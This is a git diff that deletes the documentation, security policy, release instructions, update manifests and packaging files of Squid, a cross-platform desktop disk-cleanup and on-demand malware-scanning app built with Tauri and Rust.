- 当前支持中文与英文,其他系统语言回退到英文。
## 7. 验收
- 全应用不出现蓝色、紫色、青色或粉色界面装饰;品牌色只有橙色。
- 状态色只用于成功、警告和危险,不作为卡片或图表的分类装饰色。
- 页面底色为 `#F5EEE7`,面板为暖白,不使用冷蓝渐变。
- Settings、首次启动权限卡和更新面板共享同一套主色。
- 应用图标与界面使用同一组暖色品牌常量。
- 正文和标签不小于 11px,标题使用统一字号阶梯,不出现 7–10px 的正文。
- 默认语言与系统一致,切换语言后主界面和托盘同步更新。

View File

@ -1,229 +0,0 @@
# Squid desktop
Squid has two native desktop builds, macOS and Windows, built with the same
technology stack as `nex_shift`:
- Tauri 2 shell and updater handoff
- React 19 + TypeScript UI
- Vite 6 development and asset pipeline
- The existing `squid-core`, `squid-engine`, `squid-platform` and `squid-stats`
Rust workspace
The desktop application is a second frontend over the same engine used by the
CLI and TUI. It does not maintain a separate cleanup implementation.
The shared Nex colour and component standard lives in
[`DESIGN.md`](DESIGN.md). Squid uses the same primary palette as `nex_shift`.
## Run locally
Prerequisites:
- Node.js 20+ and pnpm
- Rust toolchain and Cargo
- macOS: Xcode Command Line Tools
- Windows: MSVC build tools and WebView2
```bash
pnpm install
pnpm desktop:dev
```
The Vite-only development page cannot call Tauri commands. Use `desktop:dev`
when exercising scans, deletes, storage analysis, system data, or updates.
Useful checks:
```bash
pnpm check
pnpm build
cargo test --manifest-path src-tauri/Cargo.toml --lib
cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings
```
## Screens
| Screen | What it does |
| --- | --- |
| Overview | Security status strip, cleanup scan entry, disk health, cleanup result categories and live CPU/memory/storage summaries |
| Daily cleanup | Runs the normal cleanup rule set, groups results by category, supports per-item and per-category selection, Trash or permanent deletion, then offers undo through History |
| Uninstall apps | Reads installed apps, builds an app-specific removal plan, shows leftover paths and warnings, then uninstalls selected items |
| Deep Clean | Searches chosen project roots for regenerable build artefacts with Git and file-age protections |
| Permissions (Windows) | Startup entries from Run keys, startup folders and scheduled tasks; shell context-menu handlers; popup-window rules and the popup watcher |
| Security | XProtect / Defender status, scan coverage, findings by confidence, quarantine and restore, recent security activity |
| Startup items | LaunchAgents, LaunchDaemons, login items, registry Run keys, startup folders, scheduled tasks and services; disable and re-enable the ones the current user owns |
| Storage | Measures a chosen folder, exposes the largest children, drills down, and finds the largest files |
| Real-time monitor | Two tabs. **Performance**: live CPU, memory, network, disk, battery, volume and process data, plus the desktop-widget switch. **Processes**: the whole process table with signature and startup-item columns, and process termination after confirmation |
| Desktop widget | A borderless desktop-layer monitor opened from Real-time monitor, with status rings, network and disk curves, storage bars, and all settings in a dropdown at the top of the widget |
| History | Lists cleanup sessions, shows the ledger, restores files that are still in Trash/Recycle Bin, and opens the bin |
| Settings | Chinese/English language selection that defaults to the system language, launch at login, the security section (scan schedule, notifications, auto-quarantine, rule-pack updates, scan exclusions), deletion mode, history retention, protected paths, local file locations, and software updates |
`⌘1`–`⌘8` on macOS and `Ctrl+1`–`Ctrl+9` on Windows switch screens, in sidebar
order. On Windows: `1` overview, `2` daily cleanup, `3` uninstall apps,
`4` deep clean, `5` permissions, `6` storage, `7` real-time monitor,
`8` security, `9` startup items. macOS omits the Windows-only Permissions
screen, so `5`–`8` shift up by one.
The sidebar groups these into **Maintenance** (overview, daily cleanup,
uninstall apps, deep clean, and Permissions on Windows), **Protection**
(security, startup items) and **Insights** (storage, real-time monitor), with
History and Settings pinned at the bottom.
The two new screens reuse the interface vocabulary the older screens already
had rather than introducing a second one: `.panel` for a card, `.status-chip` for
a status, `.search-field`, `.icon-button`, `.text-button`, `.metric-icon` with a
`tone-*` class, `.settings-row` for a switch, `.empty-inline` for an empty list.
Findings, startup entries and quarantined files share one row shape
(`.item-row` / `.item-main` / `.item-copy` / `.item-actions`), so a change to how
a row looks is one edit that reaches all three. Copy stays to one sentence per
screen and per control: a count sits on the filter that produces it, not also in
a summary line above it.
## Security page
Squid scans when asked. There is no daemon, no kernel extension and no
privileged helper, so XProtect and Defender remain the real-time protection and
this page only reads what they report.
- **Scan modes.** Quick covers application bundles, login-item targets, browser
extensions and the folders a browser writes to. Full adds the user's Library
and document folders and must be started deliberately. Custom scans the paths
chosen. All three are cancellable.
- **Confidence.** `confirmed` means a published hash or signature rule matched
and is the only level that may ever be moved automatically. `suspicious` needs
two corroborating signals and is report-only. `advisory` is a single weak
signal, such as an unsigned file that does not start at login.
- **Coverage.** A scan that could not read a folder says so. The page never
renders "clean" for a range it did not look at, and unreadable folders are
listed rather than omitted.
- **Nothing is uploaded.** No file name, hash, finding or quarantined file
leaves the machine. Rule packs are downloaded; nothing is sent back.
- **Quarantine is reversible.** Findings are moved by backend-issued id, never
by a path the interface supplies. The file is re-verified against the hash the
scan recorded, stored without the execute bit, and restoring returns the
original bytes, mode and timestamps.
## Tray
Squid keeps running after its main window is closed. The tray menu can reopen
the window, start a malware scan, and jump directly to Security, Startup items,
Daily cleanup, Uninstall apps, Deep Clean or the desktop widget. One disabled row
states the current protection status — the count of unhandled confirmed findings,
"not scanned yet" before the first scan, and "scanning…" while one is running.
The tray follows the active interface language. Use **Quit Squid** in the same
menu to stop the background process.
The tray mark is a transparent monochrome asset. macOS receives it with
`.icon_as_template(true)`, so the system draws it in the correct menu-bar colour
for light and dark appearances instead of pasting a coloured square onto the
bar. Windows and Linux keep the same silhouette in gray.
## Permissions (Windows)
The Permissions screen is a Windows-only destination and is hidden from the
macOS sidebar, where the Startup items screen already covers LaunchAgents,
LaunchDaemons and login items with the same safety rules. On Windows it lists:
- startup entries from `Run` keys, startup folders and scheduled tasks;
- shell context-menu handlers grouped by file, folder, desktop, drive and
all-object surfaces;
- popup windows with rules to block or allow them and a background watcher.
Every enable/disable action goes through the backend's inventory; the page never
submits a raw registry or filesystem path.
## Desktop widget
The desktop widget is switched on from Real-time monitor and is a separate Tauri
webview window labelled `widget`, not a WidgetKit extension. It shares the live
sampler with the Real-time monitor but polls at its own 2/5/10-second cadence and
pauses while hidden.
- The gear at the top of the widget opens a dropdown containing every setting:
panel switches, opacity, refresh rate, dock corner and fold memory.
- Up to four cards: status rings (CPU, memory, and GPU when the OS exposes a
busy counter), network throughput, disk I/O, and storage volumes.
- The window is borderless, transparent and resizable only by its content. It
docks to a chosen corner and remembers a manual drag position.
- On macOS it uses `BelowNormal` window level, appears on every Space, and is
non-focusable with `accept_first_mouse`, so it sits with the desktop and never
takes keyboard focus from the app you are using.
- On Windows it is parked with `SetWindowPos(HWND_BOTTOM, SWP_NOACTIVATE)` for
the same desktop-layer behaviour.
- Opacity is capped to 90–100% so text stays readable over busy wallpapers.
The master switch and the tray item share one state; settings persist in
`widget.json` beside `manage.json`.
**Settings → Startup** registers the app for the current user only. macOS
uses a user LaunchAgent, Windows uses the current-user Run key, and Linux uses
an XDG autostart desktop entry. Enabling or disabling launch at login does not
require administrator access.
## Safety boundary
The UI never submits a path for deletion. A scan returns an array of items and a
process-local scan ID. Delete commands accept only indices into that cached scan
or removal plan. The Rust command layer then:
1. Rejects out-of-range indices.
2. Forces locked items to remain unselected.
3. Reconstructs the same `CleanupItem` set the scanner produced.
4. Calls `squid-engine::delete`, which re-validates ownership, safety anchors,
protected locations and the user whitelist before removing anything.
Locked items remain visible but cannot be selected. A permanent delete always
requires the confirm sheet; the default mode comes from the same `Settings`
file used by the CLI and TUI.
## Storage permissions on macOS
Squid measures file metadata only. The normal cleanup scan does not cover
`~/Downloads`, and disk capacity is read with `statvfs` rather than through
CoreFoundation's CacheDelete-aware volume API, so neither path asks for access
to downloads or the media library.
Full Disk Access is optional. On first launch Squid shows one setup card that
reports whether the app can read TCC-protected locations such as Safari, Mail and
Messages data. It does not force a permission prompt and does not block the app:
without access those locations are skipped. The same status and a link to
**System Settings › Privacy & Security › Full Disk Access** remain in
**Settings › System permissions**. The check runs again when the window regains
focus, and the card can be reopened by setting `desktop_setup_reviewed = false`
in `config.toml`.
Folder-dependent tools remain explicit. Storage analysis starts only after you
choose a folder. macOS may still show a folder permission prompt when a folder
you selected contains protected locations. Deny any access you do not want
Squid to have; the rest of the application still works. Deep Clean's default
project roots can include Desktop and Documents, so edit that list before
scanning if you do not want those prompts.
## Updates
The update implementation mirrors `nex_shift`:
- A build derives its feed from the git `origin` remote or `SQUID_UPDATE_URL`.
- The feed is an orphan `releases` branch containing installers and
`squid-update.json`.
- The manifest always provides exact byte size and SHA256; both are checked
before an installer can run.
- A build made with `SQUID_UPDATE_PUBKEY` additionally requires and verifies
`squid-update.sig`, a detached Ed25519 signature over the manifest's exact
bytes.
- The application checks at most once a day when automatic checks are enabled;
the last-check day lives in `updates.json`.
- A verified download can be installed and restarted, or discarded with the
neutral outlined action shared with `nex_shift`.
- macOS mounts the DMG after exit and swaps `Squid.app` with rollback on failure.
- Windows waits for `squid-desktop.exe` to exit, runs the same NSIS installer
silently, then relaunches it from `%LOCALAPPDATA%\Programs\Squid`.
See [`RELEASE.md`](RELEASE.md) for the publishing commands, artifact names, and
signing setup.
## Native CLI remains separate
The desktop binary is `squid-desktop`. The existing `squid` binary continues to
contain the CLI/TUI and is not replaced by the desktop package. Both use the same
configuration and history directories, so a cleanup made in either entry point
appears in the other one's history.

View File

@ -1,206 +0,0 @@
# Desktop release and update channel
Squid uses the same release model as `nex_shift`: a git branch is the update
server. No object storage or release API is required.
## Artifact names
Both installers must carry the exact version from `src-tauri/tauri.conf.json`:
```text
artifacts/Squid-<version>-macOS-universal.dmg
artifacts/Squid-Setup-<version>-win-x64.exe
```
Additional readmes and checksum files may travel with them, but
`scripts/publish-release.sh` rejects any other installer-like file. This prevents
an old DMG or stale EXE from silently entering a new release.
## macOS
```bash
scripts/build-macos-release.sh
```
The script installs both Apple Rust targets, builds a universal app and DMG,
verifies the code signature and image, then copies the result to the versioned
artifact name. Use `--skip-build` to re-verify and repackage an existing build.
For distribution outside local testing, replace the ad-hoc identity in
`src-tauri/tauri.conf.json` with a Developer ID identity and notarize the app.
The CI configuration does not hold Apple credentials.
## Windows
On macOS:
```bash
pnpm add -g cargo-xwin
scripts/build-windows-release.sh
```
The script builds the React bundle for the WebView2 target, cross-compiles
`x86_64-pc-windows-msvc`, checks the PE machine and embedded frontend, then uses
NSIS to produce `Squid-Setup-<version>-win-x64.exe`.
On Windows, run the same script from Git Bash or MSYS2. It uses the native MSVC
toolchain instead of `cargo-xwin`. The installer is per-user and installs to:
```text
%LOCALAPPDATA%\Programs\Squid
```
The executable inside is `squid-desktop.exe`, matching both the NSIS installer
and the update handoff script.
### 360/电脑管家 environments: ship 一键安装.bat (mandatory)
On the developer machine (and other boxes running 腾讯电脑管家/360), the
endpoint protector blocks **unsigned installers started from a non-system
drive** from unpacking into `%TEMP%`: double-clicking
`release/<ver>/Squid-Setup-*.exe` on D: dies with
`NSIS Error - Error writing temporary file` — or worse, a silent `/S` run
exits 0 without installing anything. The same installer run from `C:\Users\<u>\
AppData\Local\Temp` works, verified live.
Therefore every release directory must contain `一键安装.bat` next to the
setup exe: it copies the installer into `%TEMP%` (C:) and launches it from
there. The README's 提示 section documents this as remedy #1. When assembling
a new release, create the batch (ASCII encoding, version-pinned filename) and
test it once — the wizard window must appear with no NSIS dialog.
### Over-the-top install (custom NSIS template)
`bundle.windows.nsis.template` points at `src-tauri/nsis/installer.nsi`, a copy
of the `@tauri-apps/cli` default template with one change: the "detected an
older version — uninstall or reinstall?" page calls `Abort` unless a legacy WiX
install is found, so upgrades overwrite the previous install in place (inheriting
`$INSTDIR` from the registry) instead of prompting. User settings live under
`%APPDATA%\squid` and are never touched by install or uninstall, so they carry
across upgrades automatically.
Because it is a full template copy, re-sync it whenever `@tauri-apps/cli` (and
thus the bundled `installer.nsi`) is upgraded: re-copy the new template and
re-apply the `Abort` block in `Function PageReinstall`.
## Signing key
Create the Ed25519 key once, outside the repository:
```bash
python3 -m pip install cryptography
python3 scripts/release-key.py keygen ~/.config/squid-release/release.ed25519
```
Build with the public key so the binary refuses a manifest that is missing or
incorrectly signed:
```bash
export SQUID_RELEASE_KEY=~/.config/squid-release/release.ed25519
scripts/build-macos-release.sh
scripts/build-windows-release.sh
```
Both build scripts derive `SQUID_UPDATE_PUBKEY` from
`${SQUID_RELEASE_KEY%.ed25519}.pub`. Keep the private key out of git.
## Publish
Build both installers first. The publish script rebuilds the `releases` branch
as one fresh root commit, so old installers never accumulate in history:
```bash
scripts/publish-release.sh \
--notes RELEASE_NOTES.md \
--key ~/.config/squid-release/release.ed25519
```
Useful checks:
```bash
scripts/publish-release.sh --dry-run --key ~/.config/squid-release/release.ed25519
scripts/publish-release.sh --no-push --key ~/.config/squid-release/release.ed25519
```
The branch contains:
```text
squid-update.json
squid-update.sig
Squid-<version>-macOS-universal.dmg
Squid-Setup-<version>-win-x64.exe
```
## Feed URL
`src-tauri/build.rs` derives the manifest URL from `origin`:
| Remote | Feed |
| --- | --- |
| Gitea / Forgejo | `https://host/owner/repo/raw/branch/releases/squid-update.json` |
| GitHub | `https://github.com/owner/repo/raw/releases/squid-update.json` |
| GitLab | `https://gitlab.example/owner/repo/-/raw/releases/squid-update.json` |
`SQUID_UPDATE_URL` overrides it at build time. The same variable at runtime
overrides the baked value, which is useful for staging feeds:
```bash
SQUID_UPDATE_URL=https://host/owner/repo/raw/branch/staging/squid-update.json \
open Squid.app
```
## Manifest
Schema version 1:
```json
{
"schema": 1,
"version": "0.2.0",
"date": "2026-11-03",
"notes": "Release notes shown in Settings.",
"artifacts": {
"macos": {
"file": "Squid-0.2.0-macOS-universal.dmg",
"sha256": "<64 lowercase hex characters>",
"size": 123456789
},
"windows": {
"file": "Squid-Setup-0.2.0-win-x64.exe",
"sha256": "<64 lowercase hex characters>",
"size": 45678901
}
}
}
```
Windows ARM64 first looks for `windows-arm64`, then falls back to `windows`.
Unknown artifact keys are ignored. A larger manifest schema is refused.
## Update flow and trust
1. The app fetches the manifest from the release branch.
2. If the build has a public key, `squid-update.sig` must verify over the
manifest's exact bytes.
3. Version comparison follows semver, including prerelease precedence.
4. The platform installer is downloaded to a temporary directory.
5. Exact byte size and SHA256 are checked. Any mismatch deletes the download.
6. Only a verified file can reach **Install and restart**.
7. The helper waits for Squid to exit, applies the update, and reopens the app.
The signature proves the manifest came from the release key. SHA256 and size
prove the downloaded installer is the file that manifest names. HTTPS protects
the transport; it is not treated as a substitute for either check.
## Version bump
Keep these four values equal:
- `Cargo.toml` workspace version
- `src-tauri/Cargo.toml`
- `src-tauri/tauri.conf.json`
- `package.json`
Then run frontend checks, Rust tests (including `src-tauri`), build both
installers, and publish.

File diff suppressed because it is too large Load Diff

View File

@ -1,115 +0,0 @@
# 安全说明
squid 是一个「以删除为职责、以不删错为底线」的工具。它拥有当前用户的完整文件权限,因此威胁模型与普通的 CLI 不同:**最大的风险不是被攻击,而是它自己删错东西。**
## 权限边界
- squid 以当前用户身份运行,**不需要** root,也不安装任何 launch agent / 服务 / 内核扩展。
- 非 root 时 `SafetyPolicy::user_only()` 生效,家目录之外的路径一律不删除;只有显式用管理员权限运行时才切换到 `SafetyPolicy::system()`。
- 需要管理员权限的规则(`needs_admin`)在普通权限下只报告、不执行;`squid clean --user-only` 可以彻底跳过它们。
- 默认不联网。清理、卸载、深度清理与实时监控全都在本地完成,代码里没有 HTTP 客户端
(下载规则包与应用更新走 `curl` / `Invoke-WebRequest` 子进程,见下)。**squid 从不上传
任何遥测、路径、哈希、扫描结果或被隔离的文件。**
## Full Disk Access(macOS)
`~/Library/Safari`、`~/Library/Mail`、`~/Library/Messages` 等目录受 TCC 保护。终端未授权时,squid 只会读不到、跳过它们,不会报错崩溃。`squid doctor` 会列出被拒绝的目录。若希望这些规则真正命中,请在 系统设置 → 隐私与安全性 → 完整磁盘访问权限 中勾选你运行 squid 的终端。
注意:**授权 Full Disk Access 增加的是读取能力,不是删除范围**——上面那张安全表(`HARD_DENY`/`DENY_EXACT`/锚点)在任何权限级别下都同样生效。
## 删除的多重防线
1. 默认 `Trash`:删除等于 `rename` 到回收站,`squid undo` 可以还原。
2. `--dry-run`:所有破坏性命令都支持。
3. 非交互确认:stdin 不是 TTY 且没有 `-y/--yes` 时直接拒绝执行删除(保护 CI 与 `curl | sh` 式误用)。
4. 删除时二次校验:不复用扫描结论,逐条重新检查锁、白名单、安全策略与锚点。
5. 永不跟随符号链接:`walkdir::follow_links(false)` + `symlink_metadata` 判定类型,避免把「指向 `~/Documents` 的软链接」当成缓存删掉。
6. 账本:每次真实删除写一个会话文件(含每条的原始路径与废纸篓目标),`history_keep` 控制保留数量。
7. 白名单:`squid whitelist add <glob>` 之后该路径在任何面板中都不再被选中。
## 用户输入与外部数据
- **配置文件与规则文件按 TOML 解析,绝不当作代码执行。** 解析失败时降级为默认值,错误通过 `squid doctor` / 引擎的 `settings_errors` 报告,不会 panic。
- 规则模式经 `globset` 编译,`*` 不跨越路径分隔符;`~` 只在家目录下展开。
- 卸载残留的名称匹配区分大小写归一化,且显式排除了文档后缀(`.pdf`、`.png`、`.mp3`…),避免把用户文档当成 App 残留。
- 外部命令一律用 `Command::new(program).args([...])` 直接传参,**不经过 shell**,参数也不来自不可信输入,因此不存在命令注入面。清单如下:
| 命令 | 用途 | 是否修改系统 |
| --- | --- | --- |
| `sw_vers`、`sysctl`、`ps`、`df`、`diskutil`、`pmset`、`ioreg`、`vm_stat`、`tmutil list` | 系统信息与体积探测 | 否,只读 |
| `open`、`xdg-open`、`explorer` | 打开废纸篓 / 在访达中显示 | 否 |
| `git check-ignore`、`git ls-files`、`tmutil listlocalsnapshots` | 判断构建产物是否被 git 忽略(被跟踪的文件绝不删除)、列举 APFS 本地快照 | 否 |
| `launchctl`、`lsregister` | 卸载前停掉 App 的 launchd 任务、注销 Launch Services 注册 | 是,仅 `squid uninstall` 确认之后 |
| `brew uninstall --cask --force` | App 由 Homebrew 安装时优先交给 brew 处理 | 是,仅 `squid uninstall` 确认之后,且只在检测到对应 cask 时 |
| `flatpak` / `snap` | Linux 应用清单与卸载建议 | 清单只读;卸载建议以提示形式给出 |
安全功能新增的外部命令,同一套规则(不经过 shell、参数不来自不可信输入):
| 命令 | 用途 | 是否修改系统 |
| --- | --- | --- |
| `/usr/bin/xprotect status/version`、`spctl --status` | 读取 XProtect 与 Gatekeeper 状态 | 否,只读。**`xprotect update` 永不调用**:那台机器要不要向 Apple 取定义,不是第三方 App 能替用户决定的 |
| `powershell.exe`(Defender / SecurityCenter2 查询)、注册表 `Microsoft\Windows Defender` 的 `Signature Updates` | 读取 Defender / 第三方杀软与定义版本 | 否,只读;不会开启、关闭或更新任何防护 |
| `codesign -dvvv --display` | 读取发布者的签名信息 | 否,只读 |
| `launchctl bootstrap/kickout` | 启用或停用**当前用户**的 LaunchAgent | 是,仅在启动项页确认之后;系统级条目在首版只读 |
| `schtasks /query /v /fo csv` | 列举计划任务 | 否,只读(首版不提供启停)|
| `curl` / `Invoke-WebRequest` | 下载规则包与更新清单 | 否,只下载;见「规则包的下载与验签」|
## 安全功能(guard)的边界
恶意软件扫描是 0.1.6 加入的能力,它的风险模型和「删错东西」不同:**它会移动文件**。
因此下面几条是被测试钉住的硬边界,而不是承诺。
- **扫描本身绝不删除或移动任何东西。** 唯一的移动来自隔离,而隔离必须由用户点下确认,
或由一个默认关闭的开关(`security.auto_quarantine`)触发。
- **隔离只接受后端发出的 finding id。** 前端提交路径的能力被拿掉了:`security_quarantine`
拿 id 去查后端自己存下的那次扫描,再核对哈希、大小与文件身份;扫描之后文件被换过就
拒绝移动。界面伪造一个路径出来,伪造不了一个 id。
- **只有 `confirmed` 可能自动隔离。** 这一级只能由精确 SHA-256 命中或签名级 YARA 规则到达;
启发式(无签名、路径可疑、开机自启)的上限是 `suspicious`,永远自动隔离不到它。
- **隔离是可逆的。** 对象进入 `<state>/security/quarantine/`,去掉执行位、权限收到仅属主,
账本记录原路径、模式、时间戳与哈希;恢复要求原字节、原权限一致,恢复前要确认。
永久删除只能从隔离区发起。
- **不跟随符号链接,不隔离系统目录、XProtect、squid 自身和隔离区自身。**
- **读不到不等于干净。** 每个扫描根的结果都记录在覆盖范围里(walked / denied / absent),
有缺口时界面必须同时列出未检查的范围,不能只显示「安全」。系统防护读不到时显示
「无法确认」,不显示绿色。
- **清理白名单与安全排除项是两份独立配置。** 把一个目录从清理里保护起来,不会让它
从此不被扫描;反过来,`config.toml` 的 `[security] scan_exclusions` 会让里面的威胁
不再被报告,所以新增排除项要二次确认。
## 规则包的下载与验签
- 内置规则离线可用;更新只是**下载**,没有请求携带任何本地信息——没有文件名、没有哈希、
没有扫描结果、没有被隔离的文件。
- 规则包用**独立于安装包的 Ed25519 密钥**签名(`SQUID_INTEL_PUBKEY`)。轮换发布密钥不应该
顺手改变谁能推规则,泄漏了安装包密钥也不应该变成一条规则注入路径。
- 清单必须验签,包必须核对大小与 SHA-256,而且必须在**装进去之前**先编译一遍:一份
YARA 拒绝的规则包永远不能成为 `current`,否则下一次扫描会在最不该失败的时候失败。
- manifest 与规则源码存在同一个文件里,读到什么就一起验什么,避免「新包配旧 manifest」。
- 验签失败、损坏或主动回滚时继续使用上一版可用规则,并且清空判定缓存——旧规则给出的
结论不是新规则给的结论。
- 未配置 feed 的构建(比如从源码直接 `cargo build`)不会联网,只用内置规则。
## 什么不属于安全问题
- 规则没有覆盖到某个 App 的缓存 → 功能缺口,开 issue 即可。
- 某个恶意样本没被扫出来 → squid 不是 XProtect / Defender 的替代品,也不做实时拦截;
它是本地按需扫描 + 可逆隔离 + 启动项与进程的可见性。系统防护仍在做实时那部分。
- 磁盘空间没有你预期释放得多 → 可能是 APFS 快照或 purge 的年龄过滤,先用 `squid analyze` 对照。
- 需要 Full Disk Access 才能读到的目录 → macOS 的限制,见上。
## 报告漏洞
如果你发现 squid **可能删除用户未主动选择的数据**(例如某条规则在默认配置下选中了 `~/Documents`、锚点校验可被绕过、`undo` 覆盖已有文件),请视为安全问题:
- 通过仓库的 private issue / security contact 私下披露;
- 附上最小复现(哪个命令、哪个规则 id、哪个路径);
- **先跑 `--dry-run` 采集证据**,不要提供真实删除的日志。
我们会在修复版本发布后再公开细节。
## 你自己的责任
- squid 不是备份工具。重要数据请依赖 Time Machine 或对象存储。
- `--permanent` 跳过回收站,`undo` 也救不回来;除非你确切知道自己在做什么,否则不要用。
- 自定义规则里 `mode = "contents"` 会清空目录内容,`patterns` 只写一个字面目录(例如 `~/Library`)会被安全策略拒绝——如果你绕过或删除了 `crates/squid-core/src/safety.rs` 的守卫,squid 就不再保护你。

View File

@ -1,13 +0,0 @@
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="theme-color" content="#f5eee7" />
<title>Squid</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>

View File

@ -1,34 +0,0 @@
{
"name": "squid-desktop",
"private": true,
"version": "0.1.10",
"type": "module",
"scripts": {
"dev": "vite --port 1420 --strictPort",
"build": "tsc && vite build",
"preview": "vite preview",
"check": "tsc --noEmit",
"tauri": "tauri",
"desktop:dev": "tauri dev",
"desktop:build": "tauri build",
"mac:release": "bash scripts/build-macos-release.sh",
"windows:release": "bash scripts/build-windows-release.sh"
},
"dependencies": {
"@tauri-apps/api": "^2.12.4",
"@tauri-apps/plugin-dialog": "^2.8.3",
"@tauri-apps/plugin-notification": "2",
"@tauri-apps/plugin-opener": "^2.7.2",
"lucide-react": "^0.468.0",
"react": "^19.1.0",
"react-dom": "^19.1.0"
},
"devDependencies": {
"@tauri-apps/cli": "^2.12.3",
"@types/react": "^19.1.0",
"@types/react-dom": "^19.1.0",
"@vitejs/plugin-react": "^4.4.0",
"typescript": "~5.8.3",
"vite": "^6.3.0"
}
}

View File

@ -1,39 +0,0 @@
# Homebrew formula 模板。把整个文件放进你自己的 tap 仓库:
#
# brew tap yourname/homebrew-tools https://github.com/yourname/homebrew-tools
# brew install yourname/tools/squid
#
# 发布流程见 scripts/release.sh —— 它打出 tar.gz 并给出 sha256,填进下面两处
# 占位符即可。通用二进制(arm64 + x86_64)让同一个包在 Apple Silicon 和
# Intel 上都能装,bottle 交给 `brew tap-new` 的 CI 去做。
class Squid < Formula
desc "Clean, uninstall, purge and watch a Mac from the terminal"
homepage "https://github.com/nexdev/squid"
version "0.1.0"
sha256 "REPLACE_WITH_DIST_SQUID_TARBALL_SHA256"
url "https://github.com/nexdev/squid/releases/download/v#{version}/squid-#{version}-universal-apple-darwin.tar.gz"
license "GPL-3.0-only"
# 也可以直接从源码装(不需要预先发 release):
# depends_on "rust" => :build
# def install
# system "cargo", "install", "--locked", "--root", prefix, "--path", "crates/squid-cli"
# end
# 但那条路要求 tap 指向 git 仓库,而且每次 brew bump 都要重新编译。
def install
bin.install "squid-#{version}-universal-apple-darwin/squid" => "squid"
generate_completions_from_executable(bin, "squid")
end
def caveats
<<~EOS
#{bin}/squid 已经在 PATH 上,直接 `squid` 打开界面。
它不会安装任何后台进程,也不会改你的 shell 配置。
EOS
end
test do
assert_match version.to_s, shell_output("#{bin}/squid --version")
end
end

File diff suppressed because it is too large Load Diff

View File

@ -1,27 +0,0 @@
Squid 0.1.3 - Windows x64
系统要求
--------
- Windows 10 或 Windows 11(x64;ARM64 设备通过系统兼容层运行)。
- Microsoft Edge WebView2 Runtime。Windows 10/11 通常已内置;如果 Squid
启动后窗口空白,请从微软官方页面安装 WebView2 Evergreen Runtime:
https://developer.microsoft.com/microsoft-edge/webview2/
- 安装与运行都不需要管理员权限。安装位置为
%LOCALAPPDATA%\Programs\Squid。
安装
----
1. 运行 Squid-Setup-0.1.3-win-x64.exe。
2. 这是未签名构建。若 SmartScreen 显示警告,请选择“更多信息” > “仍要运行”。
3. 卸载请在 Windows“设置 > 应用”中移除 Squid。
更新
----
Squid 使用与 nex_shift 一致的 releases 分支更新通道。更新包会先校验
文件大小与 SHA256,再在退出后运行同一个安装程序。若构建时写入发布公钥,
还会验证清单的 Ed25519 签名。
校验
----
PowerShell:
Get-FileHash .\Squid-Setup-0.1.3-win-x64.exe -Algorithm SHA256

View File

@ -1,3 +0,0 @@
d44c41f88496652384380ceca1bff24656acb815f78fc32a57a35f29dce5c6d7 Squid-0.1.3-macOS-universal.dmg
64619e91347b64c3fa3e1ac69b1148667e06c920e756a473b370a4abaf82de2b Squid-Setup-0.1.3-win-x64.exe
56fc98cb26b7ea24959eea9b043e96d9dfa0b635ee049d3c263f0be58d9b3960 README-Windows-x64.txt

View File

@ -1,18 +0,0 @@
{
"schema": 1,
"version": "0.1.3",
"date": "2026-11-05",
"notes": "Squid 0.1.3\n\n- 软件更新仅在发现新版本时显示版本变化与更新说明。\n- 左侧导航精简为「电脑概览、日常清理、应用卸载」。\n- 关闭主窗口后常驻托盘;托盘菜单提供「日常清理、应用卸载、深度清理」及退出。\n- macOS 与 Windows 同步发布 0.1.3。",
"artifacts": {
"macos": {
"file": "Squid-0.1.3-macOS-universal.dmg",
"sha256": "d44c41f88496652384380ceca1bff24656acb815f78fc32a57a35f29dce5c6d7",
"size": 10688482
},
"windows": {
"file": "Squid-Setup-0.1.3-win-x64.exe",
"sha256": "64619e91347b64c3fa3e1ac69b1148667e06c920e756a473b370a4abaf82de2b",
"size": 3343118
}
}
}

View File

@ -1,7 +0,0 @@
Squid 0.1.4
- 恢复左侧完整菜单:维护组包含「电脑概览、日常清理、应用卸载、深度清理」,洞察组包含「存储空间、实时监控」。
- 保留 0.1.3 的托盘行为,关闭窗口后继续运行,可从托盘进入日常清理、应用卸载和深度清理。
- 保留精简后的软件更新面板:仅发现新版本时显示版本变化与更新说明。
- 按当前桌面端、CLI/TUI、共用引擎、安全边界和发布流程重新整理 README。
- macOS 与 Windows 同步发布 0.1.4。

View File

@ -1,3 +0,0 @@
7b4f91ed0064b8f5e6ed4965167e860fdf6e98b7e576a3fdcd5775521f0fce0b Squid-0.1.4-macOS-universal.dmg
970ce8339e3832d045c07f3c13e45793fc9eac9cb22c95cdf1a1ebc5d2c37f24 Squid-Setup-0.1.4-win-x64.exe
9937a1bd780b1df60e05df49f2e70434e02eed9e853d30230c89aa7d520867ff README-Windows-x64.txt

View File

@ -1,18 +0,0 @@
{
"schema": 1,
"version": "0.1.4",
"date": "2026-11-05",
"notes": "Squid 0.1.4\n\n- 恢复左侧完整菜单:维护组包含「电脑概览、日常清理、应用卸载、深度清理」,洞察组包含「存储空间、实时监控」。\n- 保留 0.1.3 的托盘行为,关闭窗口后继续运行,可从托盘进入日常清理、应用卸载和深度清理。\n- 保留精简后的软件更新面板:仅发现新版本时显示版本变化与更新说明。\n- 按当前桌面端、CLI/TUI、共用引擎、安全边界和发布流程重新整理 README。\n- macOS 与 Windows 同步发布 0.1.4。",
"artifacts": {
"macos": {
"file": "Squid-0.1.4-macOS-universal.dmg",
"sha256": "7b4f91ed0064b8f5e6ed4965167e860fdf6e98b7e576a3fdcd5775521f0fce0b",
"size": 10689388
},
"windows": {
"file": "Squid-Setup-0.1.4-win-x64.exe",
"sha256": "970ce8339e3832d045c07f3c13e45793fc9eac9cb22c95cdf1a1ebc5d2c37f24",
"size": 3342175
}
}
}

View File

@ -1,27 +0,0 @@
Squid 0.1.5 - Windows x64
系统要求
--------
- Windows 10 或 Windows 11(x64;ARM64 设备通过系统兼容层运行)。
- Microsoft Edge WebView2 Runtime。Windows 10/11 通常已内置;如果 Squid
启动后窗口空白,请从微软官方页面安装 WebView2 Evergreen Runtime:
https://developer.microsoft.com/microsoft-edge/webview2/
- 安装与运行都不需要管理员权限。安装位置为
%LOCALAPPDATA%\Programs\Squid。
安装
----
1. 运行 Squid-Setup-0.1.5-win-x64.exe。
